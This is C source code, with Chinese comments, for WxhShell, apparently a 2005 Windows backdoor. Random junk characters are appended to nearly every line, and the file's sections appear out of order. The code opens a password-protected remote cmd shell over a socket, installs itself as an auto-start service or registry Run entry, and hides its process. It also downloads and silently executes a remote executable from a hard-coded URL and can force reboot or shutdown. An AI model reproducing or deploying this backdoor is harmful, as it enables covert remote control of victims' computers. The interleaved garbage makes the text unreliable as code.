    if(Boot(SHUTDOWN)) *JArR1J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M#}k@ ;L3  
    else { K?@x'q1  
    closesocket(wsh); Yij_'0vZ  
    ExitThread(0); !ZS5}/ZU  
    } Ug#EAV<m  
    break; @Zzg^1Ilpu  
    } ZFC&&[%-sG  
  // 获取shell /lLG|aAe  
  case 's': { 0ky3rFSh1  
    CmdShell(wsh); _ |G') 9  
    closesocket(wsh); nmw#4yHYy:  
    ExitThread(0); ffy,ds_7  
    break; <YAs0  
  } ,l#f6H7p  
  // 退出 ]D_ AZI  
  case 'x': { wvI}|c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QE6L_\l  
    CloseIt(wsh); ]# ;u]  
    break; _iH:>2p5R  
    } uQl=?0 85  
  // 离开 | MXRNA~  
  case 'q': { Wb#ON|.2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ? @- t.N  
    closesocket(wsh); :M$8<03>F  
    WSACleanup(); #]2,1dJ  
    exit(1); OouR4  
    break; 4oPr|OKj{*  
        } 6$G@>QCBS  
  } QV8;c^EZ  
  } :+<GJj_d+  
}LwKi-G?  
  // 提示信息 j34lPo `  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oz'^.+uvE  
} MC_i"P6a  
  } Vr KFpFd  
,-)ww:  
  return; ]Z>zf]<  
}  s x)x7  
i}kMo@  
// shell模块句柄 oF.H?lG7`  
int CmdShell(SOCKET sock) qb PC5v  
{ txix =  
STARTUPINFO si; L8cPNgZ   
ZeroMemory(&si,sizeof(si)); xL|4'8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 71G00@&w9D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l)qGG$7$  
PROCESS_INFORMATION ProcessInfo; ?j$*a7[w  
char cmdline[]="cmd"; E#`JH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QD^"cPC)mM  
  return 0; :i]g+</  
} W4S]2P>T  
u\@ L|rh  
// 自身启动模式 x=3+@'  
int StartFromService(void) 0hX@ta[Up  
{ i; 3qMBVY~  
typedef struct pjNH0mZ  
{ }\d3   
  DWORD ExitStatus; 1#jvr_ ga  
  DWORD PebBaseAddress; 4.'KT;[_1/  
  DWORD AffinityMask; 7.(vog"I)  
  DWORD BasePriority; G2hBJTW  
  ULONG UniqueProcessId; nXxSv~r  
  ULONG InheritedFromUniqueProcessId; LJBDB6  
}   PROCESS_BASIC_INFORMATION; v QL)I  
f2FGod<CzN  
PROCNTQSIP NtQueryInformationProcess; E']Gh  
9p9-tJfH.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tp%4{U/0`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "6P-0CJ  
Zbjj>*2%^  
  HANDLE             hProcess; 8A|i$#.&  
  PROCESS_BASIC_INFORMATION pbi; O:(%m  
&Qq4xn+J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gb@ |\n  
  if(NULL == hInst ) return 0; :Qklbd[9qF  
>jBnNA@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O7\ )C]A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ab f=b<bu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m#(ve1E  
 kn|z  
  if (!NtQueryInformationProcess) return 0; 1w|V'e?kb  
s\ i.pd:Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g@7j<UY  
  if(!hProcess) return 0; S~4HFNe^&  
;t}ux  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \^%5!  
5s2334G  
  CloseHandle(hProcess); bNO/CD4  
&t w   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kq`"}&0b\  
if(hProcess==NULL) return 0; =.Q|gZ   
s% ~p?_P   
HMODULE hMod; @7 *Ag~MRb  
char procName[255]; ]]Da/^K=Z  
unsigned long cbNeeded; U%na^Wu  
$0K%H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y3!=0uPf  
E5 0$y:  
  CloseHandle(hProcess); zorTZ #5  
'E,Bl]8C5  
if(strstr(procName,"services")) return 1; // 以服务启动 xbA% 'p  
;{inhiySN  
  return 0; // 注册表启动 ')w*c  
} jsvD[\P  
M('cG  
// 主模块 B1A5b=6G<  
int StartWxhshell(LPSTR lpCmdLine) :=tPC A=  
{ {q:o}<-L+  
  SOCKET wsl; uOrvmb  
BOOL val=TRUE; Wwf#PcC]  
  int port=0; hexq]'R  
  struct sockaddr_in door; :*!u\lV\  
)Oz( <vxw  
  if(wscfg.ws_autoins) Install(); ?s5zTT0U>$  
BKm$H! u  
port=atoi(lpCmdLine); Ga%]$4u  
OI.2CF  
if(port<=0) port=wscfg.ws_port; K,}"v ;||  
05MtQB   
  WSADATA data; J7.bFW'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #?i#q%q  
v) q6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %f&(U/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wx/!My u  
  door.sin_family = AF_INET; HJ5m5':a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y(SgfWeK@1  
  door.sin_port = htons(port); 8y!fqXm%)  
-i'T!Qg1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *ma/_rjK  
closesocket(wsl); !o4xI?  
return 1; Ik1,?A  
} @U:T}5)wc  
r[Q$w>  
  if(listen(wsl,2) == INVALID_SOCKET) { ooIMN =  
closesocket(wsl); Z=!*7@QY  
return 1; `z)!!y  
} VJCh5t*  
  Wxhshell(wsl); [`fq4Ky  
  WSACleanup(); 6DJ,/J2F  
".xai.trr  
return 0; Bw*z4qb{yH  
MQY1he2M  
} 9$Mi/eLG2N  
!Y]}& pUP  
// 以NT服务方式启动 `z` `d*_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XU9=@y+|v  
{ AD?DIE(v  
DWORD   status = 0; \-s) D#Y;r  
  DWORD   specificError = 0xfffffff; kM3BP& 3m1  
o@LjSQ5!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EkSTN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D?\K~U* >  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +X*`}-3  
  serviceStatus.dwWin32ExitCode     = 0; `FJnR~d  
  serviceStatus.dwServiceSpecificExitCode = 0; 7Xad2wXn  
  serviceStatus.dwCheckPoint       = 0; @L<[38  
  serviceStatus.dwWaitHint       = 0; - Ez|  
uaPBM<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 50DPzn  
  if (hServiceStatusHandle==0) return; M?cKt.t  
Yn<0D|S;X  
status = GetLastError(); xD\Km>|i  
  if (status!=NO_ERROR) CY>NU  
{ =|U2 }U;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u\e#_*>  
    serviceStatus.dwCheckPoint       = 0; 3K?0PRg  
    serviceStatus.dwWaitHint       = 0; .v" lY2:N  
    serviceStatus.dwWin32ExitCode     = status; "{x~j \<  
    serviceStatus.dwServiceSpecificExitCode = specificError; u4<r$[]V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _).'SU)>  
    return; 2 !;4mij,  
  } :x{Q  
xeI ,Kz."  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kuH;AMdv  
  serviceStatus.dwCheckPoint       = 0; f <w*l<@  
  serviceStatus.dwWaitHint       = 0; T) ,:8/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1=;QWb6  
} kQ#eWk J,  
 Nr[Rp  
// 处理NT服务事件,比如:启动、停止 DYWC]*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 42wcpSp  
{ &1h3o^K  
switch(fdwControl) AltE~D/4  
{ /B!m|)h5~  
case SERVICE_CONTROL_STOP: Dz50,*}J  
  serviceStatus.dwWin32ExitCode = 0; jO,<7FPs5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @qC:% |>  
  serviceStatus.dwCheckPoint   = 0; b}4/4Z.  
  serviceStatus.dwWaitHint     = 0; Qi[D&47XO  
  {  wi9|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'u3+k.  
  } $1?X%8V  
  return; kW!:bh  
case SERVICE_CONTROL_PAUSE: /J+)P<_A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9/$P_Q:3  
  break; >o} ati  
case SERVICE_CONTROL_CONTINUE: ;Bb5KD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bvgD;:Aj  
  break; h]Oplp4 \W  
case SERVICE_CONTROL_INTERROGATE: 6J 5)4^bk  
  break; @ RI^wZ-;  
}; yo.SPd="Vx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pHvE`s"Ea  
} ^ <VE5OM  
-{*V)J_Co  
// 标准应用程序主函数 Zd(d]M_x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BLH=:zb5  
{ l1)pr{A  
0w['jh|,  
// 获取操作系统版本 ee_\_"  
OsIsNt=GetOsVer(); _cw ^5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5)zB/Ta<  
O|RO j  
  // 从命令行安装 @L!#i*> 9  
  if(strpbrk(lpCmdLine,"iI")) Install(); N ]7a=  
YhT1P fl  
  // 下载执行文件 w)eQ'6Vu  
if(wscfg.ws_downexe) { (<C%5xk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y+scJ+<  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'TrrOq4  
} R{o*O_qX  
r65NKiQD  
if(!OsIsNt) { *Z`eNz}  
// 如果时win9x,隐藏进程并且设置为注册表启动 C55n  
HideProc(); NoAb}1uae  
StartWxhshell(lpCmdLine); Z{ Zox[/  
} ePpK+E[0Z  
else un^IQMIh  
  if(StartFromService()) 1ysLZ;K  
  // 以服务方式启动 56Y5kxmi  
  StartServiceCtrlDispatcher(DispatchTable); }PIB b  
else 8Qz7uPq  
  // 普通方式启动 d+2O^of:T  
  StartWxhshell(lpCmdLine); 9H}iX0O  
[E~,>Q  
return 0; :ZfUjqRE  
} #KNq:@wp6  
pu$XUt  
q&$0i   
; 9 &1JX  
=========================================== @!a]qAt  
wt.{Fqm  
_Q}RElA  
, q@(L  
C$RAJ  
:iQ^1S` pH  
" ]t*P5  
khN:+V|  
#include <stdio.h> =E}%>un  
#include <string.h> u1|P'>;lF  
#include <windows.h> _ K+V?-=  
#include <winsock2.h> "4k=(R?  
#include <winsvc.h> F}B/-".^  
#include <urlmon.h> @j\?h$A/  
]b~2Dap  
#pragma comment (lib, "Ws2_32.lib") Ul713Bjz  
#pragma comment (lib, "urlmon.lib") Z:Y.":[ Qi  
=7]Q6h@X  
#define MAX_USER   100 // 最大客户端连接数 [OoH5dD  
#define BUF_SOCK   200 // sock buffer c7l!G~yx'  
#define KEY_BUFF   255 // 输入 buffer 1|EU5<  
#:vDBP05.m  
#define REBOOT     0   // 重启 &Rl3y\ r  
#define SHUTDOWN   1   // 关机 9{UP)17  
M*~v'L_sI  
#define DEF_PORT   5000 // 监听端口 L >Ez-  
kJvy<(iG  
#define REG_LEN     16   // 注册表键长度 ;x3 ]4^  
#define SVC_LEN     80   // NT服务名长度 gKs/T'PW  
`^&15?Wk  
// 从dll定义API }Uwkef.Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l\sS?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tgvpf /cQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ] EVe@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5<)gCHa  
WJY4>7}{B@  
// wxhshell配置信息 5y[b8mur  
struct WSCFG { FU (}=5n  
  int ws_port;         // 监听端口 2iR:*}5  
  char ws_passstr[REG_LEN]; // 口令 A1|7(Sow  
  int ws_autoins;       // 安装标记, 1=yes 0=no |auX*hb9  
  char ws_regname[REG_LEN]; // 注册表键名 ){Ciu[h  
  char ws_svcname[REG_LEN]; // 服务名 hP4)8>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "%}Gy>;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (N*<\6kr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \2].|Mym  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s#+"5&!s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .o\;,l2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s0 \f9D  
co$Hi9JE  
}; kyRh k\X  
E~<(i':  
// default Wxhshell configuration -40'[a9E  
struct WSCFG wscfg={DEF_PORT, T1Gp$l  
    "xuhuanlingzhe", a+YR5*&[OO  
    1, C-a*EG  
    "Wxhshell", {8!ZKlB  
    "Wxhshell", kW<Yda<a  
            "WxhShell Service", (c(-E|u.  
    "Wrsky Windows CmdShell Service", 5#TrCPi6A  
    "Please Input Your Password: ", P7'oXtW{o  
  1, H9Y2n 0  
  "http://www.wrsky.com/wxhshell.exe", 9S:{  
  "Wxhshell.exe" IdV,%d{  
    }; /RJ6nmN@}  
H )BOSZD  
// 消息定义模块 `2B*CMW{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )(:+q(m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,2 zt.aqB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #D|! .I)  
char *msg_ws_ext="\n\rExit."; S3ab0JM  
char *msg_ws_end="\n\rQuit."; =~GE?}.o  
char *msg_ws_boot="\n\rReboot..."; /~o7Q$)-b  
char *msg_ws_poff="\n\rShutdown..."; <mv7HKVg  
char *msg_ws_down="\n\rSave to "; (R4PD  
B`?N,N"  
char *msg_ws_err="\n\rErr!"; G$?|S@I,  
char *msg_ws_ok="\n\rOK!"; ~`*1*;Q<H|  
?1GY%-  
char ExeFile[MAX_PATH]; d\~p5_5.  
int nUser = 0; zAeGkP~K  
HANDLE handles[MAX_USER]; (v|r'B9 b  
int OsIsNt; kZV^F*7  
=y)p>3p}&  
SERVICE_STATUS       serviceStatus; !Gln Q`T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XIr{U5$<6  
ES^>[2Y  
// 函数声明 RL?u n}Qa  
int Install(void); Yw6DJY  
int Uninstall(void); GY oZ$p"C  
int DownloadFile(char *sURL, SOCKET wsh); ayV6m  
int Boot(int flag); V~/.Y&WN  
void HideProc(void); -'I _*fu  
int GetOsVer(void); o .l;: Un  
int Wxhshell(SOCKET wsl); V -q%r  
void TalkWithClient(void *cs); mgy"|\]  
int CmdShell(SOCKET sock); 54<6Dy f  
int StartFromService(void); ;*y|8od B  
int StartWxhshell(LPSTR lpCmdLine); "e~k-\^Y  
"Kyifw?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Nc{]zWL9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HbNYP/MN3  
q.-y)C) ;  
// 数据结构和表定义 "kX`FaAhY  
SERVICE_TABLE_ENTRY DispatchTable[] =  M{] e5+  
{ CXTt(-FT  
{wscfg.ws_svcname, NTServiceMain}, fs&,w  
{NULL, NULL} %PzQ\c  
}; \;-qdV_JB  
?$3r5sx  
// 自我安装 GP* +  
int Install(void) f Gb7=Fk  
{ hF2/ y.:P  
  char svExeFile[MAX_PATH]; 2-~a P  
  HKEY key; j8pFgnQ  
  strcpy(svExeFile,ExeFile); mV<i JZh  
sYI~dU2H  
// 如果是win9x系统,修改注册表设为自启动 'V&2Xvl%  
if(!OsIsNt) { NUMi])HkN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U| 8[#@r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); opdu=i=E  
  RegCloseKey(key); CD}Ns  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ; yyO0Ha  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wy''tqg6  
  RegCloseKey(key); N<(HPE};  
  return 0; &Cq{ _M  
    } z!:'V]  
  } B s,as  
} z5 Bi=~=#  
else { Ivsb<qzG  
DF'8GF&Rp  
// 如果是NT以上系统,安装为系统服务 \OcMiuw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~n6[$WjZA  
if (schSCManager!=0) =D].`  
{ pW{8R^vKm  
  SC_HANDLE schService = CreateService 0N{+y}/G  
  ( -l "U"U"F  
  schSCManager, @rO4y`  
  wscfg.ws_svcname, ^Gq5ig1rxy  
  wscfg.ws_svcdisp, XrS\+y3  
  SERVICE_ALL_ACCESS, t8& q9$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uUG*0Lj  
  SERVICE_AUTO_START, TFy7HX\Oq  
  SERVICE_ERROR_NORMAL, ANMYX18M  
  svExeFile, &x0C4Kh  
  NULL, 3sFeP &  
  NULL, YsP/p-  
  NULL, B wC+ov=  
  NULL, t\r:E2 O  
  NULL ioV_oR9I  
  ); $ D'^t(  
  if (schService!=0) ~O: U|&  
  { 5j eO"jB  
  CloseServiceHandle(schService); TJaeQqob  
  CloseServiceHandle(schSCManager); kq-6HDR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R#(G%66   
  strcat(svExeFile,wscfg.ws_svcname); EfiU$ 8y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s&'BM~WI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dB;3.<S=  
  RegCloseKey(key); 5| w&dM  
  return 0; j'G tgT  
    } 8$vK5Dnn8  
  } '<@=vGsye  
  CloseServiceHandle(schSCManager); +l?; )  
} = .oHnMX2M  
} MJ\[Dt  
k\N4@UK  
return 1; d~*TIN8Ke~  
} G> \T bx  
IfV  3fJ7  
// 自我卸载 lIf(6nm@  
int Uninstall(void) :\yc*OtX  
{ feEMg  
  HKEY key; I^3:YVR&  
$h28(K%  
if(!OsIsNt) { 2cf' ,cv@8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UG2w 1xqHw  
  RegDeleteValue(key,wscfg.ws_regname); g4&jo_3:p  
  RegCloseKey(key); ;(6P6@+o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h`5)2n+P  
  RegDeleteValue(key,wscfg.ws_regname); >dQK.CG  
  RegCloseKey(key); N/~N7MwJj  
  return 0; fgF;&(b  
  } eThy+  
} ~}%~oT  
} V"RpH,  
else { orIQ~pF#  
nr\q7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3HiFISA*  
if (schSCManager!=0) .T.5TMiOSq  
{ {G*QY%j^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "uD= KlA  
  if (schService!=0) rZwB> c  
  { >q7 %UK]&  
  if(DeleteService(schService)!=0) { UAYd?r  
  CloseServiceHandle(schService); .~klG&>aV  
  CloseServiceHandle(schSCManager); @q8an  
  return 0; >nn Y:7m  
  } or?%-)  
  CloseServiceHandle(schService); ;Zut@z4\  
  } vRhnX  
  CloseServiceHandle(schSCManager); >+9JD%]x]  
} =-jD~rN4;P  
} p1O6+hRio  
wH6u5*$p  
return 1; <GIwRVCU  
} jqcz\n d  
*l>0t]5YH  
// 从指定url下载文件 3]LN;s]ac  
int DownloadFile(char *sURL, SOCKET wsh) KCR N}`^  
{ %mI~ =^za  
  HRESULT hr; uJow7-FD  
char seps[]= "/"; 3y`F<&sA  
char *token; |V&G81sM  
char *file; xJ(:m<z  
char myURL[MAX_PATH]; z,Lzgh  
char myFILE[MAX_PATH]; y] V1b{9p  
RA/EpD:H  
strcpy(myURL,sURL); Q/^A #l[  
  token=strtok(myURL,seps); L-h$Z0]_F  
  while(token!=NULL) --k:a$Nt  
  { 1'KishHK=  
    file=token; e<=;i" |  
  token=strtok(NULL,seps); 3<(q }  
  } *^XbDg9  
@h?crJ6$  
GetCurrentDirectory(MAX_PATH,myFILE); -l*g~7|j  
strcat(myFILE, "\\"); Ex(3D[WmMW  
strcat(myFILE, file); oRY!\ADR  
  send(wsh,myFILE,strlen(myFILE),0); TMj4w,g4  
send(wsh,"...",3,0); 8L{u}|{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;!u;!F!i  
  if(hr==S_OK) 3C^1f rF  
return 0; UH3t(o7O  
else {]/8skov5]  
return 1; T~>#2N-Z  
xAdq+$><  
} T{Zwm!s  
Wk7WK` >i  
// 系统电源模块 tS?lB05TOR  
int Boot(int flag) d/U."V}  
{ }KB[B  
  HANDLE hToken; k*$3i  
  TOKEN_PRIVILEGES tkp; F]=B'ZI  
yI8tH!  
  if(OsIsNt) { isK;mU?<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t&RruwN_;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aW;aA'!  
    tkp.PrivilegeCount = 1;  tFh|V pB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1mW%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 's%q  
if(flag==REBOOT) { (xT*LF+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,0?!ov|  
  return 0; Q:o 7G|C  
} f(:1yl\a  
else { (FVX57  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +x1/-J8_sg  
  return 0; +=fKT,-*G!  
} PZ OKrW  
  } o /p-!  
  else { `a4 $lyZ  
if(flag==REBOOT) { ^R_e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @.$MzPQQI  
  return 0; !: us!s  
} ?[= U%sPu=  
else { Fdt}..H%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z hsx &  
  return 0; Mq\~`8V  
} e!0OW7 kV  
} :pZ}*?\  
l5 J.A@0  
return 1; Cvn$]bt/s  
} fI:H8  
Z)9R9s  
// win9x进程隐藏模块 JP=ZUu  
void HideProc(void) J!p<oW)a!  
{ !#WqA9<  
ecFi (eMD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '2v f|CX  
  if ( hKernel != NULL ) %$9bce-fcG  
  { 2 P}bG>M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gp|JU Fo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L;)v&a7[P  
    FreeLibrary(hKernel); |63Y >U"  
  } BKb<2  
V SAafux  
return; -Ktwo_ V*  
} h~UJCn zS  
p;->hn~D'5  
// 获取操作系统版本 Y!n'" *J>  
int GetOsVer(void) o# {#r@,i  
{ z8iENECwj  
  OSVERSIONINFO winfo; 8S>>7z!U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Rx S884  
  GetVersionEx(&winfo); VS`Z_Xn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >q9{  
  return 1; JDhwN<0R  
  else $u5.!{Wq?  
  return 0; Xj ,j0  
} AbY;H  
ETelbj;0  
// 客户端句柄模块 ^ f{qJ[,  
int Wxhshell(SOCKET wsl) shK&2Noan  
{ v" FO  
  SOCKET wsh; X_?%A54z?  
  struct sockaddr_in client; /(zB0TEd  
  DWORD myID; ~@fanR =  
rWe 8D/oc  
  while(nUser<MAX_USER) l $Zs~@N  
{ jt%WPkY:  
  int nSize=sizeof(client); h/=-tr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \e0x ,2  
  if(wsh==INVALID_SOCKET) return 1; 4vGbG:x  
C->[$HcRa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tw}z7U"  
if(handles[nUser]==0) C$y fMK,,N  
  closesocket(wsh); 8;.` {'r  
else h7RD `k:mF  
  nUser++; MM*-i=  
  } n}5x-SxS0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O 3}P07  
p[gAZ9  
  return 0; P.1Qc)m4  
} %w@ig~vD'  
c8\g"T  
// 关闭 socket U\;Ml  
void CloseIt(SOCKET wsh) g4T3?"xMB_  
{ WiwwCKjSa  
closesocket(wsh); lmp R>@o"  
nUser--; x"!#_0TT}  
ExitThread(0); #nDL  
} dr>]+H=3E  
$"(3MnR  
// 客户端请求句柄 K1 6s)S'  
void TalkWithClient(void *cs) DW4MA<UQ  
{ X)Ocn`|  
p+5#dbyr  
  SOCKET wsh=(SOCKET)cs; roL]v\tr  
  char pwd[SVC_LEN]; E.Pje@d  
  char cmd[KEY_BUFF]; ur`}v|ZY  
char chr[1]; B=^2g}mgK  
int i,j; N6f%>3%1|.  
ap{{(y&R  
  while (nUser < MAX_USER) { ^$6bs64FSm  
W>VAbm  
if(wscfg.ws_passstr) { 9EjjkJ%)q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %PSz o8.l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); = c/3^e  
  //ZeroMemory(pwd,KEY_BUFF); 5Bzuj`  
      i=0; |)*m[_1  
  while(i<SVC_LEN) { dcM+ylB  
  -kV|  
  // 设置超时 JJ*0M(GG  
  fd_set FdRead; cRjL3  
  struct timeval TimeOut; / *O u$  
  FD_ZERO(&FdRead); ?BXP}]  
  FD_SET(wsh,&FdRead); R,fMZHAG  
  TimeOut.tv_sec=8; ~7KynE  
  TimeOut.tv_usec=0; gE-lM/w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H@Kl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /0X0#+kn  
^ON-#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VuP#b'g=|]  
  pwd=chr[0]; mw2rSUI{  
  if(chr[0]==0xd || chr[0]==0xa) { <x.]OZgO  
  pwd=0; K[`4vsE  
  break; eimA *0Cq  
  } U1OLI]P  
  i++; VGkW3Nt0  
    } l;"ub^AH  
4'd;'SvF  
  // 如果是非法用户,关闭 socket 7H/! rx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~ `tJvUo0  
} n-L]YrDPK[  
e2,<,~_K6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dw=Xjyk?h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \H"/2o%l")  
sPZV>Q:zY  
while(1) { 6i*p +S?U"  
PprQq_j  
  ZeroMemory(cmd,KEY_BUFF); qP%Smfp6  
A`+(VzZgJ  
      // 自动支持客户端 telnet标准   od|N-R  
  j=0; t*ri`}a{v  
  while(j<KEY_BUFF) { )w3XN A_V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jn5=N[hd  
  cmd[j]=chr[0]; a78;\{&L'  
  if(chr[0]==0xa || chr[0]==0xd) { * wQZ '  
  cmd[j]=0; ba8-XA_~U  
  break; _KT]l./  
  } 7.F& {:@_  
  j++; g,{Ei]$>I  
    } hx2!YNx !  
4Tbi%vF{  
  // 下载文件 3XYIbXnk  
  if(strstr(cmd,"http://")) { 7,&3=R <  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uBd =x<c\  
  if(DownloadFile(cmd,wsh)) =~(LJPo6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eO"\UDBV  
  else PN)TX~}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qH}62DP3  
  } ?_<UOb*  
  else { ?8aWUgl  
{f6A[ZO;J  
    switch(cmd[0]) { _4x[}e7KF  
  Qnu&GBM  
